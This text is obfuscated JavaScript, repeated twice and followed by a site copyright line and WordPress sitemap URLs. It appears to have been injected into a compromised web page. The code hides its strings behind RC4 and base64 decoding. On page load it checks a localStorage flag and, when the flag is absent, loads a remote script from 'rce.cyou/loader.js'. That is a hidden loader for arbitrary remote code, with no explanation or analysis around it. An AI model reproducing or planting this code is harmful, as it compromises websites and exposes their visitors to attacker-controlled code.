_0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
© 2026 GrazzMean
https://ai.shandianfk.com/wp-sitemap-posts-post-1.xmlhttps://ai.shandianfk.com/wp-sitemap-posts-page-1.xmlhttps://ai.shandianfk.com/wp-sitemap-taxonomies-category-1.xmlhttps://ai.shandianfk.com/wp-sitemap-taxonomies-post_tag-1.xmlhttps://ai.shandianfk.com/wp-sitemap-users-1.xml